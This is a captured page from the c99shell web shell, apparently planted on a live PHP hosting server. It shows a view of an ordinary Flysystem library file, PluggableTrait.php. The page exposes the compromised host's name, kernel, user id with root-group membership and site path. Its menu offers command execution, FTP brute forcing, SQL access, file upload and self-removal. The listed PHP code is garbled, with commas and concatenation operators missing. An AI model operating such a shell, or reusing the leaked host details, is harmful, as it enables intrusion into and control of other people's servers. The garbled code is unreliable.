!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/league/flysystem/src/Plugin/   drwxr-xr-x
Free 28.55 GB of 117.98 GB (24.2%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     PluggableTrait.php (2.21 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace League\Flysystem\Plugin;

use 
BadMethodCallException;
use 
League\Flysystem\FilesystemInterface;
use 
League\Flysystem\PluginInterface;
use 
LogicException;

trait 
PluggableTrait
{
    
/**
     * @var array
     */
    
protected $plugins = [];

    
/**
     * Register a plugin.
     *
     * @param PluginInterface $plugin
     *
     * @throws LogicException
     *
     * @return $this
     */
    
public function addPlugin(PluginInterface $plugin)
    {
        if ( ! 
method_exists($plugin'handle')) {
            throw new 
LogicException(get_class($plugin) . ' does not have a handle method.');
        }

        
$this->plugins[$plugin->getMethod()] = $plugin;

        return 
$this;
    }

    
/**
     * Find a specific plugin.
     *
     * @param string $method
     *
     * @throws PluginNotFoundException
     *
     * @return PluginInterface
     */
    
protected function findPlugin($method)
    {
        if ( ! isset(
$this->plugins[$method])) {
            throw new 
PluginNotFoundException('Plugin not found for method: ' $method);
        }

        return 
$this->plugins[$method];
    }

    
/**
     * Invoke a plugin by method name.
     *
     * @param string              $method
     * @param array               $arguments
     * @param FilesystemInterface $filesystem
     *
     * @throws PluginNotFoundException
     *
     * @return mixed
     */
    
protected function invokePlugin($method, array $argumentsFilesystemInterface $filesystem)
    {
        
$plugin $this->findPlugin($method);
        
$plugin->setFilesystem($filesystem);
        
$callback = [$plugin'handle'];

        return 
call_user_func_array($callback$arguments);
    }

    
/**
     * Plugins pass-through.
     *
     * @param string $method
     * @param array  $arguments
     *
     * @throws BadMethodCallException
     *
     * @return mixed
     */
    
public function __call($method, array $arguments)
    {
        try {
            return 
$this->invokePlugin($method$arguments$this);
        } catch (
PluginNotFoundException $e) {
            throw new 
BadMethodCallException(
                
'Call to undefined method '
                
get_class($this)
                . 
'::' $method
            
);
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0036 ]--